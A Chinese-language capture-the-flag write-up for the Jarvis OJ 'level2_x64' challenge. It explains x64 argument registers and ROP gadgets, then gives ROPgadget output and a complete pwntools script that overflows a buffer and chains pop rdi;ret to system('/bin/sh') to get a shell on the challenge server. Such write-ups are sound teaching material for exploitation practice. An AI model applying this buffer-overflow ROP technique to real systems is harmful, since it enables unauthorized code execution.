1. 程式人生 > >jarvis oj level2_x64

jarvis oj level2_x64

接下來做64位了,首先看下和32位有什麼不一樣。這篇文章的第3節說的很詳細
主要來說就是:
1.記憶體地址的範圍由32位變成了64位,但是可以使用的記憶體地址不能大於0x00007fffffffffff,否則會丟擲異常。
2.x64中的前六個引數依次儲存在RDI,RSI,RDX,RCX,R8和 R9中,如果還有更多的引數的話才會儲存在棧上。我們要修改暫存器的值就得通過找到例如pop rdi;ret這樣的函式,將值放在棧頂。畫張圖清楚一點。在這裡插入圖片描述
我們使用ROPgadget搜尋操作暫存器的函式地址:
ROPgadget --binary libc-2.19.so --only "pop rdi|ret"


有時候會搜到pop a;pop b;ret,也沒關係,在棧上放2個數據就好。

接下來看題
首先發現了system函式和bin字串,考慮構造system(“/bin/sh”),有一個引數,用到了rdi,搜尋rdi。

ROPgadget --binary level2_x64 --only "pop|rdi|ret"
Gadgets information
============================================================
0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop r14 ; pop r15 ; ret
0x00000000004006b2 : pop r15 ; ret
0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400560 : pop rbp ; ret
0x00000000004006b3 : pop rdi ; ret                      #這一條可以利用
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004a1 : ret

Unique gadgets found: 11

pop_rdi_ret地址0x4006b3。ret是返回到棧中。
指令碼:

from pwn import *
r=remote('pwn2.jarvisoj.com',9882)
e=ELF('./level2_x64')
sys_addr=e.symbols['system']
bin_addr=e.search('/bin/sh').next()

payload='a'*0x80+'bbbbbbbb'+p64(0x4006b3)+p64(bin_addr)+p64(sys_addr)+'junkjunk'
r.send(payload)
r.interactive()